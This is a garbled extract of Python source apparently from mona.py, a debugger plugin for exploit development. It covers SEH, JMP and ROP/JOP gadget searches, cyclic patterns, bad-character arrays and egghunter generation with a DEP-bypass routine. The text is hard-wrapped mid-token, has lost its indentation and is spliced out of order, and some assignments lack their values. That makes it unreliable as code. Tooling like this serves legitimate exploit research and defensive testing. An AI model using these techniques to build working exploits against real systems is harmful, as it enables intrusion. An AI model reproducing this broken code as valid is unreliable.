return
else:
modulecriteria,criteria = args2criteria(args,mod
ulecriteria,criteria)
# go for it !
all_opcodes=findJMP(modulecriteria,criteria,args
["r"].lower().strip())
# write to log
logfile = MnLog("jmp.txt")
thislog = logfile.reset()
processResults(all_opcodes,logfile,thislog)
# ----- Exception Handler Overwrites ----- #
def procFindSEH(args):
#default criteria
modulecriteria={}
modulecriteria["safeseh"] = False
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
criteria = {}
specialcases = {}
all_opcodes = {}
global ptr_to_get
ptr_to_get = -1
#what is the caller function (backwards compatibility wi
th pvefindaddr)
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
if "rop" in args:
criteria["rop"] = True
if "all" in args:
criteria["all"] = True
specialcases["maponly"] = True
else:
criteria["all"] = False
specialcases["maponly"] = False
# go for it !
all_opcodes = findSEH(modulecriteria,criteria)
#report findings to log
logfile = MnLog("seh.txt")
thislog = logfile.reset()
processResults(all_opcodes,logfile,thislog,specialcases)
processResults(ropfuncoffsets,logfile,thislog)
def procStackPivots(args):
procROP(args,"stackpivot")
def procROP(args,mode="all"):
#default criteria
modulecriteria={}
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
modulecriteria["os"] = False
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
# handle optional arguments
depth = 6
maxoffset = 40
thedistance = 8
split = False
fast = False
endingstr = ""
endings = []
if "depth" in args:
if type(args["depth"]).__name__.lower() != "bool
":
try:
depth = int(args["depth"])
except:
pass
if "offset" in args:
if type(args["offset"]).__name__.lower() != "boo
l":
try:
maxoffset = int(args["offset"])
except:
pass
if "distance" in args:
if type(args["distance"]).__name__.lower() != "b
ool":
try:
thedistance = args["distance"]
except:
pass
if "split" in args:
if type(args["split"]).__name__.lower() == "bool
":
split = args["split"]
if "fast" in args:
if type(args["fast"]).__name__.lower() == "bool"
:
fast = args["fast"]
if "end" in args:
if type(args["end"]).__name__.lower() == "str":
endingstr = args["end"].replace("'","").
replace('"',"").strip()
endings = endingstr.split("#")
if "f" in args:
if args["f"] <> "":
criteria["f"] = args["f"]
if "rva" in args:
criteria["rva"] = True
if mode == "stackpivot":
fast = False
endings = ""
split = False
else:
mode = "all"
findROPGADGETS(modulecriteria,criteria,endings,maxoffset
,depth,split,thedistance,fast,mode)
def procJOP(args,mode="all"):
#default criteria
modulecriteria={}
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
modulecriteria["os"] = False
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
# handle optional arguments
depth = 6
if "depth" in args:
if type(args["depth"]).__name__.lower() != "bool
":
try:
depth = int(args["depth"])
except:
pass
findJOPGADGETS(modulecriteria,criteria,depth)
def procCreatePATTERN(args):
size = 0
pattern = ""
if "?" in args and args["?"] != "":
try:
size = int(args["?"])
except:
size = 0
if size == 0:
dbg.log("Please enter a valid size",highlight=1)
else:
pattern = createPattern(size,args)
dbg.log("Creating cyclic pattern of %d bytes" %
size)
dbg.log(pattern)
global ignoremodules
ignoremodules = True
objpatternfile = MnLog("pattern.txt")
patternfile = objpatternfile.reset()
objpatternfile.write("\nPattern of " + str(size)
+ " bytes :\n",patternfile)
objpatternfile.write("-" * (19 + len(str(size)))
,patternfile)
objpatternfile.write("\n" + pattern,patternfile)
if not silent:
dbg.log("Note: don't copy this pattern f
rom the log window, it might be truncated !",highlight=1)
dbg.log("It's better to open %s and copy
the pattern from the file" % patternfile,highlight=1)
ignoremodules = False
return
def procOffsetPATTERN(args):
egg = ""
if "?" in args and args["?"] != "":
try:
egg = args["?"]
except:
egg = ""
if egg == "":
dbg.log("Please enter a valid target",highlight=
1)
else:
findOffsetInPattern(egg,-1,args)
return
# ----- Comparing file output ----- #
def procFileCOMPARE(args):
modulecriteria={}
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
allfiles=[]
tomatch=""
checkstrict=True
rangeval = 0
fast = False
if "ptronly" in args or "ptrsonly" in args:
fast = True
if "f" in args:
if args["f"] <> "":
rawfilenames=args["f"].replace('"',"")
allfiles = rawfilenames.split(',')
dbg.log("[+] Number of files to be exami
ned : %d " % len(allfiles))
if "range" in args:
if not type(args["range"]).__name__.lower() == "
bool":
strrange = args["range"].lower()
if strrange.startswith("0x") and len(str
range) > 2 :
rangeval = int(strrange,16)
else:
try:
rangeval = int(args["ran
ge"])
except:
rangeval = 0
if rangeval > 0:
dbg.log("[+] Find overlap using
pointer +/- range, value %d" % rangeval)
dbg.log("
Note : this will si
gnificantly slow down the comparison process !")
else:
dbg.log("Please provide a numeric value
^(> 0) with option -range",highlight=1)
return
else:
if "contains" in args:
if type(args["contains"]).__name__.lower
() == "str":
tomatch = args["contains"].repla
ce("'","").replace('"',"")
if "nostrict" in args:
if type(args["nostrict"]).__name__.lower
() == "bool":
checkstrict = not args["nostrict
"]
dbg.log("[+] Instructions must m
atch in all files ? %s" % checkstrict)
# maybe one of the arguments is a folder
callfiles = allfiles
allfiles = []
for tfile in callfiles:
if os.path.isdir(tfile):
# folder, get all files from this folder
for root,dirs,files in os.walk(tfile):
for dfile in files:
allfiles.append(os.path.
join(root,dfile))
else:
allfiles.append(tfile)
if len(allfiles) > 1:
findFILECOMPARISON(modulecriteria,criteria,allfi
les,tomatch,checkstrict,rangeval,fast)
else:
dbg.log("Please specify at least 2 filenames to
compare",highlight=1)
# ----- Find bytes in memory ----- #
def procFind(args):
modulecriteria={}
criteria={}
pattern = ""
base = 0
offset = 0
top = TOP_USERLAND
consecutive = False
ftype = ""
level = 0
offsetlevel = 0
if not "a" in args:
args["a"] = "*"
ptronly = False
if "ptronly" in args or "ptrsonly" in args:
ptronly = True
#search for all pointers by default
if not "x" in args:
args["x"] = "*"
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
if criteria["accesslevel"] == "":
return
if not "s" in args:
dbg.log("-s <search pattern (or filename)> is a
mandatory argument",highlight=1)
return
pattern = args["s"]
if "unicode" in args:
criteria["unic"] = True
if "b" in args:
try:
base = int(args["b"],16)
except:
dbg.log("invalid base address: %s" % arg
s["b"],highlight=1)
return
if "t" in args:
try:
top = int(args["t"],16)
except:
dbg.log("invalid top address: %s" % args
["t"],highlight=1)
return
if "offset" in args:
if not args["offset"].__class__.__name__ == "boo
l":
if "0x" in args["offset"].lower():
try:
offset = 0 - int(args["o
ffset"],16)
except:
dbg.log("invalid offset
value",highlight=1)
return
else:
try:
offset = 0 - int(args["o
ffset"])
except:
dbg.log("invalid offset
value",highlight=1)
return
else:
dbg.log("invalid offset value",highlight
=1)
return
if "level" in args:
try:
level = int(args["level"])
except:
dbg.log("invalid level value",highlight=
1)
return
if "offsetlevel" in args:
try:
offsetlevel = int(args["offsetlevel"])
except:
dbg.log("invalid offsetlevel value",high
light=1)
return
if "c" in args:
dbg.log("
allpointers = findPattern(modulecriteria,criteria,patter
n,ftype,base,top,consecutive,rangep2p,level,offset,offsetlevel)
logfile = MnLog("find.txt")
thislog = logfile.reset()
processResults(allpointers,logfile,thislog,{},ptronly)
return
# ---- Find instructions, wildcard search ----- #
def procFindWild(args):
modulecriteria={}
criteria={}
pattern = ""
patterntype = ""
base = 0
top = TOP_USERLAND
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
if not "s" in args:
dbg.log("-s <search pattern (or filename)> is a
mandatory argument",highlight=1)
return
pattern = args["s"]
patterntypes = ["bin","str"]
if "type" in args:
if type(args["type"]).__name__.lower() != "bool"
:
if args["type"] in patterntypes:
patterntype = args["type"]
else:
dbg.log("-type argument only tak
es one of these values: %s" % patterntypes,highlight=1)
return
else:
dbg.log("Please specify a valid value fo
r -type. Valid values are %s" % patterntypes,highlight=1)
return
if patterntype == "":
if "\\x" in pattern:
patterntype = "bin"
else:
patterntype = "str"
if "b" in args:
base,addyok = getAddyArg(args["b"])
if not addyok:
dbg.log("invalid base address: %s" % arg
s["b"],highlight=1)
return
if "t" in args:
top,addyok = getAddyArg(args["t"])
if not addyok:
dbg.log("invalid top address: %s" % args
["t"],highlight=1)
return
if "depth" in args:
try:
criteria["depth"] = int(args["depth"])
except:
dbg.log("invalid depth value",highlight=
1)
return
if "all" in args:
criteria["all"] = True
if "distance" in args:
if type(args["distance"]).__name__.lower() == "b
ool":
dbg.log("invalid distance value(s)",high
light=1)
else:
distancestr = args["distance"]
distanceparts = distancestr.split(",")
for parts in distanceparts:
valueparts = parts.split("=")
if len(valueparts) > 1:
if valueparts[0].lower()
== "min":
try:
mindista
nce = int(valueparts[1])
except:
mindista
nce = 0
if valueparts[0].lower()
== "max":
try:
maxdista
nce = int(valueparts[1])
except:
maxdista
nce = 0
if maxdistance < mindistance:
tmp = maxdistance
maxdistance = mindistance
mindistance = tmp
criteria["mindistance"] = mindistance
criteria["maxdistance"] = maxdistance
allpointers = findPatternWild(modulecriteria,criteria,pa
ttern,base,top,patterntype)
logfile = MnLog("findwild.txt")
thislog = logfile.reset()
processResults(allpointers,logfile,thislog)
return
# ----- assemble: assemble instructions to opcodes ----- #
def procAssemble(args):
opcodes = ""
encoder = ""
if not 's' in args:
dbg.log("Mandatory argument -s <opcodes> missing
", highlight=1)
return
opcodes = args['s']
if 'e' in args:
# TODO: implement encoder support
dbg.log("Encoder support not yet implemented", h
ighlight=1)
return
encoder = args['e'].lowercase()
if encoder not in ["ascii"]:
dbg.log("Invalid encoder : %s" % encoder
, highlight=1)
return
assemble(opcodes,encoder)
# ----- info: show information about an address ----- #
def procInfo(args):
if not "a" in args:
dbg.log("Missing mandatory argument -a", highlig
ht=1)
return
address,addyok = getAddyArg(args["a"])
if not addyok:
dbg.log("%s is an invalid address" % args["a"],
highlight=1)
return
ptr = MnPointer(address)
modname = ptr.belongsTo()
modinfo = None
if modname != "":
modinfo = MnModule(modname)
rebase = ""
rva=0
if modinfo :
rva = address - modinfo.moduleBase
procFlags(args)
dbg.log("")
dbg.log("[+] Information about address 0x%s" % toHex(add
ress))
dbg.log("
%s" % ptr.__str__())
thepage = dbg.getMemoryPageByAddress(address)
dbg.log("
Address is part of page 0x%08x - 0x%08x" %
(thepage.getBaseAddress(),thepage.getBaseAddress()+thepage.getSize()))
section = ""
try:
section = thepage.getSection()
except:
section = ""
if section != "":
dbg.log("
Section : %s" % section)
if rva != 0:
dbg.log("
Offset from module base: 0x%x" % rv
a)
if modinfo:
eatlist = modinfo.getEAT()
if address in eatlist:
dbg.log("
Address is start of
function %s in %s" % (eatlist[address],modname))
if ptr.isOnStack():
stacks = getStacks()
stackref = ""
for tid in stacks:
currstack = stacks[tid]
if currstack[0] <= address and address <
= currstack[1]:
stackref = " (Thread 0x%08x, Sta
ck Base : 0x%08x, Stack Top : 0x%08x)" % (tid,currstack[0],currstack[1])
break
dbg.log("
This address is in a stack segment
%s" % stackref)
if modinfo:
dbg.log("
Module: %s" % modinfo.__str__())
else:
output = ""
if ptr.isInHeap():
dbg.log("
This address resides in the
heap")
dbg.log("")
ptr.showHeapBlockInfo()
else:
dbg.log("
Module: None")
try:
dbg.log("")
dbg.log("[+] Disassembly:")
op = dbg.disasm(address)
opstring=op.getDisasm()
dbg.log("
Instruction at %s : %s" % (toHex(ad
dress),opstring))
except:
pass
if __DEBUGGERAPP__ == "WinDBG":
dbg.log("")
dbg.log("Output of !address 0x%08x:" % address)
output = dbg.nativeCommand("!address 0x%08x" % a
ddress)
dbg.logLines(output)
dbg.log("")
# ----- dump: Dump some memory to a file ----- #
def procDump(args):
filename = ""
if "f" not in args:
dbg.log("Missing mandatory argument -f filename"
, highlight=1)
return
filename = args["f"]
address = None
if "s" not in args:
dbg.log("Missing mandatory argument -s address",
highlight=1)
return
startaddress = str(args["s"]).replace("0x","").replace("
0X","")
if not isAddress(startaddress):
dbg.log("You have specified an invalid start add
ress", highlight=1)
return
address = addrToInt(startaddress)
size = 0
if "n" in args:
size = int(args["n"])
elif "e" in args:
endaddress = str(args["e"]).replace("0x","").rep
lace("0X","")
if not isAddress(endaddress):
dbg.log("You have specified an invalid e
nd address", highlight=1)
return
end = addrToInt(endaddress)
if end < address:
dbg.log("end address %s is before start
address %s" % (args["e"],args["s"]), highlight=1)
return
size = end - address
else:
dbg.log("you need to specify either the size of
the copy with -n or the end address with -e ", highlight=1)
return
dumpMemoryToFile(address,size,filename)
# ----- compare : Compare contents of a file with copy in memory
, indicate bad chars / corruption ----- #
def procCompare(args):
startpos = 0
filename = ""
skipmodules = False
allregs = dbg.getRegs()
if "f" in args:
filename = args["f"].replace('"',"").replace("'"
,"")
#see if we can read the file
if not os.path.isfile(filename):
dbg.log("Unable to find/read file %s" %
filename,highlight=1)
return
else:
dbg.log("You must specify a valid filename using
return
else:
dbg.log("Please specify a valid
address/register/modulename!functionname (-a)", highlight=1)
return
else:
dbg.log("Please specify a valid address/
register/modulename!functionname (-a)", highlight=1)
return
valid_types = ["READ", "WRITE", "SFX", "EXEC"]
if "t" not in args:
dbg.log("Missing mandatory argument -t type", hi
ghlight=1)
dbg.log("Valid types are: %s" % ", ".join(valid_
types))
return
else:
thistype = args["t"].upper()
if not thistype in valid_types:
dbg.log("Invalid type : %s" % thistype)
return
if thistype == "EXEC":
thistype = "SFX"
a = hexStrToInt(a)
dbg.setMemBreakpoint(a,thistype[0])
dbg.log("Breakpoint set on %s of 0x%s" % (thistype,toHex
(a)),highlight=1)
# ----- ct: calltrace ---- #
def procCallTrace(args):
modulecriteria={}
criteria={}
criteria["accesslevel"] = "X"
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
modulestosearch = getModulesToQuery(modulecriteria)
hooks = []
rethooks = []
showargs = 0
hookrets = False
if not "m" in args:
dbg.log(" ** Please specify what module(s) you w
ant to include in the trace, using argument -m **",highlight=1)
return
if "a" in args:
if args["a"] != "":
try:
showargs = int(args["a"])
except:
showargs = 0
if "r" in args:
hookrets = True
toignore = []
limit_scope = True
if not "all" in args:
# fill up array
toignore.append("PeekMessage")
toignore.append("GetParent")
toignore.append("GetFocus")
toignore.append("EnterCritical")
toignore.append("LeaveCritical")
toignore.append("GetWindow")
toignore.append("CallnextHook")
toignore.append("TlsGetValue")
toignore.append("DefWindowProc")
toignore.append("SetTextColor")
toignore.append("DrawText")
toignore.append("TranslateAccel")
toignore.append("TranslateMessage")
toignore.append("DispatchMessage")
toignore.append("isChild")
toignore.append("GetSysColor")
toignore.append("SetBkColor")
toignore.append("GetDlgCtrl")
toignore.append("CallWindowProc")
toignore.append("HideCaret")
toignore.append("MessageBeep")
toignore.append("SetWindowText")
toignore.append("GetDlgItem")
toignore.append("SetFocus")
toignore.append("SetCursor")
toignore.append("LoadCursor")
toignore.append("SetEvent")
toignore.append("SetDlgItem")
toignore.append("SetWindowPos")
toignore.append("GetDC")
toignore.append("ReleaseDC")
toignore.append("GetDeviceCaps")
toignore.append("GetClientRect")
toignore.append("etLastError")
else:
limit_scope = False
if len( modulestosearch) > 0:
dbg.log("[+] Initializing log file")
logfile = MnLog("calltrace.txt")
thislog = logfile.reset()
dbg.log("[+] Number of CALL arguments to display
: %d" % showargs)
dbg.log("[+] Finding instructions & placing hook
s")
for thismod in modulestosearch:
dbg.updateLog()
objMod = dbg.getModule(thismod)
if not objMod.isAnalysed:
dbg.log("
Analysing code...")
objMod.Analyse()
themod = MnModule(thismod)
modcodebase = themod.moduleCodebase
modcodetop = themod.moduleCodetop
dbg.setStatusBar("Placing hooks in %s...
" % thismod)
dbg.log("
* %s (0x%08x - 0x%08x)" % (
thismod,modcodebase,modcodetop))
ccnt = 0
rcnt = 0
thisaddr = modcodebase
allfuncs = dbg.getAllFunctions(modcodeba
se)
for func in allfuncs:
thisaddr = func
thisfunc = dbg.getFunction(thisa
ddr)
instrcnt = 0
while thisfunc.hasAddress(thisad
dr):
try:
if instrcnt == 0
:
thisopco
de = dbg.disasm(thisaddr)
else:
thisopco
de = dbg.disasmForward(thisaddr,1)
thisaddr
= thisopcode.getAddress()
instruction = th
isopcode.getDisasm()
if instruction.s
tartswith("CALL "):
ignore_t
his_instruction = False
for igno
res in toignore:
if instruction.lower().find(ignores.lower()) > -1:
ignore_this_instruction = True
break
if not i
gnore_this_instruction:
if not thisaddr in hooks:
hooks.append(thisaddr)
myhook = MnCallTraceHook(thisaddr,showargs,instruction,thislog)
myhook.add("HOOK_CT_%s" % thisaddr , thisaddr)
ccnt +=
1
if hookrets and
instruction.startswith("RETN"):
if not t
hisaddr in rethooks:
rethooks.append(thisaddr)
myhook = MnCallTraceHook(thisaddr,showargs,instruction,thislog)
myhook.add("HOOK_CT_%s" % thisaddr , thisaddr)
except:
#dbg.logLines(tr
aceback.format_exc(),highlight=True)
break
instrcnt += 1
dbg.log("[+] Total number of CALL hooks placed :
%d" % len(hooks))
if hookrets:
dbg.log("[+] Total number of RETN hooks
placed : %d" % len(rethooks))
else:
dbg.log("[!] No modules selected or found",highl
ight=1)
return "Done"
# ----- bu: set a deferred breakpoint ---- #
def procBu(args):
if not "a" in args:
dbg.log("No targets defined. (-a)",highlight=1)
return
else:
allargs = args["a"]
bpargs = allargs.split(",")
breakpoints = {}
dbg.log("")
dbg.log("Received %d addresses//functions to pro
cess" % len(bpargs))
# set a breakpoint right away for addresses and
functions that are mapped already
for tbparg in bpargs:
bparg = tbparg.replace(" ","")
# address or module.function ?
if bparg.find(".") > -1:
functionaddress = dbg.getAddress
(bparg)
if functionaddress > 0:
# module.function is alr
eady mapped, we can set a bp right away
dbg.setBreakpoint(functi
onaddress)
breakpoints[bparg] = Tru
e
dbg.log("Breakpoint set
at 0x%08x (%s), was already mapped" % (functionaddress,bparg), highlight=1)
else:
breakpoints[bparg] = Fal
se # no breakpoint set yet
elif bparg.find("+") > -1:
ptrparts = bparg.split("+")
modname = ptrparts[0]
if not modname.lower().endswith(
".dll"):
modname += ".dll"
themodule = getModuleObj(modname
)
if themodule != None and len(ptr
parts) > 1:
address = themodule.getB
ase() + int(ptrparts[1],16)
if address > 0:
dbg.log("Breakpo
int set at %s (0x%08x), was already mapped" % (bparg,address),highlight=1)
dbg.setBreakpoin
t(address)
breakpoints[bpar
g] = True
else:
breakpoints[bpar
g] = False
else:
breakpoints[bparg] = Fal
se
if bparg.find(".") == -1 and bparg.find(
"+") == -1:
# address, see if it is mapped,
by reading one byte from that location
address = -1
try:
address = int(bparg,16)
except:
pass
thispage = dbg.getMemoryPageByAd
dress(address)
if thispage != None:
dbg.setBreakpoint(addres
s)
dbg.log("Breakpoint set
at 0x%08x, was already mapped" % address, highlight=1)
breakpoints[bparg] = Tru
e
else:
breakpoints[bparg] = Fal
se
# get the correct addresses to put hook on
loadlibraryA = dbg.getAddress("kernel32.LoadLibr
aryA")
loadlibraryW = dbg.getAddress("kernel32.LoadLibr
aryW")
if loadlibraryA > 0 and loadlibraryW > 0:
# find end of function for each
endAfound = False
endWfound = False
cnt = 1
while not endAfound:
objInstr = dbg.disasmForward(loa
dlibraryA, cnt)
strInstr = objInstr.getDisasm()
if strInstr.startswith("RETN"):
endAfound = True
loadlibraryA = objInstr.
getAddress()
cnt += 1
cnt = 1
while not endWfound:
objInstr = dbg.disasmForward(loa
dlibraryW, cnt)
strInstr = objInstr.getDisasm()
if strInstr.startswith("RETN"):
endWfound = True
loadlibraryW = objInstr.
getAddress()
cnt += 1
# if addresses/functions are left, throw
them into their own hooks,
# one for each LoadLibrary type.
hooksplaced = False
for bptarget in breakpoints:
if not breakpoints[bptarget]:
myhookA = MnDeferredHook
(loadlibraryA, bptarget)
myhookA.add("HOOK_A_%s"
% bptarget, loadlibraryA)
myhookW = MnDeferredHook
(loadlibraryW, bptarget)
myhookW.add("HOOK_W_%s"
% bptarget, loadlibraryW)
dbg.log("Hooks for %s in
stalled" % bptarget)
hooksplaced = True
if not hooksplaced:
dbg.log("No hooks placed")
else:
dbg.log("** Unable to place hooks, make
sure kernel32.dll is loaded",highlight=1)
return "Done"
# ----- bf: Set a breakpoint on exported functions of a module ---- #
def procBf(args):
funcfilter = ""
mode = ""
type = "export"
modes = ["add","del","list"]
types = ["import","export","iat","eat"]
modulecriteria={}
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
if "s" in args:
try:
funcfilter = args["s"].lower()
except:
dbg.log("No functions selected. (-s)",hi
ghlight=1)
return
else:
dbg.log("No functions selected. (-s)",highlight=
1)
return
if "t" in args:
try:
mode = args["t"].lower()
except:
pass
if "f" in args:
try:
type = args["f"].lower()
except:
pass
if not type in types:
dbg.log("No valid function type selected (-f <im
port|export>)",highlight=1)
return
if not mode in modes or mode=="":
dbg.log("No valid action defined. (-t add|del|li
st)")
doManageBpOnFunc(modulecriteria,criteria,funcfilter,mode
,type)
return
# ----- Show info about modules -------#
def procModInfoS(args):
modulecriteria = {}
criteria = {}
modulecriteria["safeseh"] = False
dbg.log("Safeseh unprotected modules :")
modulestosearch = getModulesToQuery(modulecriteria)
showModuleTable("",modulestosearch)
return
def procModInfoSA(args):
modulecriteria = {}
criteria = {}
modulecriteria["safeseh"] = False
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
dbg.log("Safeseh unprotected, no aslr & no rebase module
s :")
modulestosearch = getModulesToQuery(modulecriteria)
showModuleTable("",modulestosearch)
return
def procModInfoA(args):
modulecriteria = {}
criteria = {}
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
dbg.log("No aslr & no rebase modules :")
modulestosearch = getModulesToQuery(modulecriteria)
showModuleTable("",modulestosearch)
return
cnt=cnt+2
dbg.log("Generating table, excluding %d bad chars..." %
len(strb))
arraytable = []
binarray = ""
while startval <= endval:
thisval = startval * sign
hexbyte = hex(thisval)[2:]
binbyte = hex2bin(toHexByte(thisval))
if len(hexbyte) == 1:
hexbyte = "0" + hexbyte
hexbyte2 = binascii.a2b_hex(hexbyte)
if not hexbyte2 in strb:
arraytable.append(hexbyte)
binarray += binbyte
startval += 1
dbg.log("Dumping table to file")
output = ""
cnt = 0
outputline = '"'
totalbytes = len(arraytable)
tablecnt = 0
while tablecnt < totalbytes:
if (cnt < bytesperline):
outputline += "\\x" + arraytable[tablecn
t]
else:
outputline += '"\n'
cnt = 0
output += outputline
outputline = '"\\x' + arraytable[tablecn
t]
tablecnt += 1
cnt += 1
if (cnt-1) < bytesperline:
outputline += '"\n'
output += outputline
global ignoremodules
ignoremodules = True
arrayfilename="bytearray.txt"
objarrayfile = MnLog(arrayfilename)
arrayfile = objarrayfile.reset()
binfilename = arrayfile.replace("bytearray.txt","bytearr
ay.bin")
objarrayfile.write(output,arrayfile)
ignoremodules = False
dbg.logLines(output)
dbg.log("")
binfile = open(binfilename,"wb")
binfile.write(binarray)
binfile.close()
dbg.log("Done, wrote %d bytes to file %s" % (len(arrayta
ble),arrayfile))
dbg.log("Binary output saved in %s" % binfilename)
return
if thistype == "python":
addchar = "+="
while cnt < max:
# first check for unicode
if cnt < max-1:
if linecnt == 0:
thisline = "header = \""
else:
thisline = "header %s \"" % addc
har
thiscnt = cnt
while cnt < max-1 and isAscii2(ord(conte
nt[cnt])) and ord(content[cnt+1]) == 0:
if content[cnt] == "\\":
thisline += "\\"
if content[cnt] == "\"":
thisline += "\\"
thisline += "%s\\x00" % content[
cnt]
cnt += 2
if thiscnt != cnt:
output += thisline + "\"" + "\n"
linecnt += 1
if linecnt == 0:
thisline = "header = \""
else:
thisline = "header %s \"" % addchar
thiscnt = cnt
# ascii repetitions
reps = 1
startval = content[cnt]
if isAscii(ord(content[cnt])):
while cnt < max-1:
if startval == content[cnt+1]:
reps += 1
cnt += 1
else:
break
if reps > 1:
if startval == "\\":
startval += "\\"
if startval == "\"":
startval = "\\" + "\""
output += thisline + startval +
"\" * " + str(reps) + "\n"
cnt += 1
linecnt += 1
continue
if linecnt == 0:
thisline = "header = \""
else:
thisline = "header %s \"" % addchar
thiscnt = cnt
else:
dbg.log("[-] Unable to check latest vers
ion (corrupted file ?), try again later",highlight=1)
return
except:
dbg.log("[-] Unable to check latest version (dow
nload error), run !mona update -http or try again later",highlight=1)
return
#check versions
doupdate = False
if newversion != "" and newrevision != "":
if currentversion != newversion:
doupdate = True
else:
if int(currentrevision) < int(newrevisio
n):
doupdate = True
if doupdate:
dbg.log("[+] New version available",highlight=1)
dbg.log("
Updating to %s r%s" % (newversion,n
ewrevision),highlight=1)
try:
shutil.copyfile(u[0],inspect.stack()[0][
1])
dbg.log("
Done")
dbg.log("
except:
",highlight=1)
currentversion,currentrevision = getVersionInfo(
inspect.stack()[0][1])
dbg.log("[+] Current version : %s r%s" % (curren
tversion,currentrevision))
else:
dbg.log("[+] You are running the latest version"
)
# update windbglib if needed
if __DEBUGGERAPP__ == "WinDBG":
dbg.log("[+] Locating windbglib path")
paths = sys.path
filefound = False
libfile = ""
for ppath in paths:
libfile = ppath + "\\windbglib.py"
if os.path.isfile(libfile):
filefound=True
break
if not filefound:
dbg.log("
** Unable to find windbglib
.py ! **")
else:
dbg.log("[+] Checking if %s needs an upd
ate..." % libfile)
updateurl = "https://github.com/corelan/
windbglib/raw/master/windbglib.py"
if updateproto == "http":
updateurl = updateproto + "://re
dmine.corelan.be/projects/windbglib/repository/raw/windbglib.py"
currentversion,currentrevision = getVers
ionInfo(libfile)
u = ""
try:
u = urllib.urlretrieve(updateurl
)
newversion,newrevision = getVers
ionInfo(u[0])
if newversion != "" and newrevis
ion != "":
dbg.log("[+] Version com
pare :")
dbg.log("
Current Ver
sion : %s, Current Revision : %s" % (currentversion,currentrevision))
dbg.log("
Latest Vers
ion : %s, Latest Revision : %s" % (newversion,newrevision))
else:
dbg.log("[-] Unable to c
heck latest version (corrupted file ?), try again later",highlight=1)
return
except:
dbg.log("[-] Unable to check lat
est version (download error), run !mona update -http or try again later",highlig
ht=1)
return
#check versions
doupdate = False
if newversion != "" and newrevision != "
":
if currentversion != newversion:
doupdate = True
else:
if int(currentrevision)
< int(newrevision):
doupdate = True
if doupdate:
dbg.log("[+] New version availab
le",highlight=1)
dbg.log("
Updating to %s r%s"
% (newversion,newrevision),highlight=1)
try:
shutil.copyfile(u[0],lib
file)
dbg.log("
Done")
dbg.log("
** Unable t
except:
o update windbglib.py",highlight=1)
currentversion,currentrevision =
getVersionInfo(libfile)
dbg.log("[+] Current version : %
s r%s" % (currentversion,currentrevision))
else:
dbg.log("[+] You are running the
latest version")
dbg.setStatusBar("Done.")
return
#----- GetPC -----#
def procgetPC(args):
r32 = ""
output = ""
if "r" in args:
if type(args["r"]).__name__.lower() != "bool":
r32 = args["r"].lower()
if r32 == "" or not "r" in args:
dbg.log("Missing argument -r <register>",highlig
ht=1)
return
opcodes = {}
opcodes["eax"]
opcodes["ecx"]
opcodes["edx"]
opcodes["ebx"]
opcodes["esp"]
opcodes["ebp"]
opcodes["esi"]
opcodes["edi"]
=
=
=
=
=
=
=
=
calls = {}
calls["eax"]
calls["ecx"]
calls["edx"]
calls["ebx"]
calls["esp"]
calls["ebp"]
calls["esi"]
calls["edi"]
"\\xd0"
"\\xd1"
"\\xd2"
"\\xd3"
"\\xd4"
"\\xd5"
"\\xd6"
"\\xd7"
=
=
=
=
=
=
=
=
"\\x58"
"\\x59"
"\\x5a"
"\\x5b"
"\\x5c"
"\\x5d"
"\\x5e"
"\\x5f"
checksumbyte = ""
extratext = ""
global silent
oldsilent = silent
silent = True
if "f" in args:
if type(args["f"]).__name__.lower() != "bool":
filename = args["f"]
filename = filename.replace("'", "").replace("\"", "")
#Set egg
if "t" in args:
if type(args["t"]).__name__.lower() != "bool":
egg = args["t"]
if "wow64" in args:
usewow64 = True
# placeholder for later
if "both" in args:
useboth = True
if len(egg) != 4:
egg = 'w00t'
dbg.log("[+] Egg set to %s" % egg)
if "c" in args:
if filename != "":
usechecksum = True
dbg.log("[+] Hunter will include checksu
m routine")
else:
dbg.log("Option -c only works in conjunc
tion with -f <filename>",highlight=1)
return
startreg = ""
if "startreg" in args:
if isReg(args["startreg"]):
startreg = args["startreg"].lower()
dbg.log("[+] Egg will start search at %s
" % startreg)
depmethods = ["virtualprotect","copy","copy_size"]
depreg = "esi"
depsize = 0
freeregs = [ "ebx","ecx","ebp","esi" ]
regsx = {}
# 0 : mov xX
# 1 : push xX
# 2 : mov xL
# 3 : mov xH
#
regsx["eax"] = ["\x66\xb8","\x66\x50","\xb0","\xb4"]
regsx["ebx"] = ["\x66\xbb","\x66\x53","\xb3","\xb7"]
regsx["ecx"]
regsx["edx"]
regsx["esi"]
regsx["edi"]
regsx["ebp"]
regsx["esp"]
=
=
=
=
=
=
addreg = {}
addreg["eax"]
addreg["ebx"]
addreg["ecx"]
addreg["edx"]
addreg["esi"]
addreg["edi"]
addreg["ebp"]
addreg["esp"]
["\x66\xb9","\x66\x51","\xb1","\xb5"]
["\x66\xba","\x66\x52","\xb2","\xb6"]
["\x66\xbe","\x66\x56"]
["\x66\xbf","\x66\x57"]
["\x66\xbd","\x66\x55"]
["\x66\xbc","\x66\x54"]
=
=
=
=
=
=
=
=
"\x83\xc0"
"\x83\xc3"
"\x83\xc1"
"\x83\xc2"
"\x83\xc6"
"\x83\xc7"
"\x83\xc5"
"\x83\xc4"
depdest = ""
depmethod = ""
getpointer = ""
getsize = ""
getpc = ""
jmppayload = "\xff\xe7"
if "depmethod" in args:
if args["depmethod"].lower() in depmethods:
depmethod = args["depmethod"].lower()
dbg.log("[+] Hunter will include routine
to bypass DEP on found shellcode")
# other DEP related arguments ?
# depreg
# depdest
# depsize
if "depreg" in args:
if isReg(args["depreg"]):
depreg = args["depreg"].lower()
if "depdest" in args:
if isReg(args["depdest"]):
depdest = args["depdest"].lower(
)
if "depsize" in args:
try:
depsize = int(args["depsize"])
except:
dbg.log(" ** Invalid depsize",hi
ghlight=1)
return
#read payload file
data = ""
if filename != "":
try:
f = open(filename, "rb")
data = f.read()
f.close()
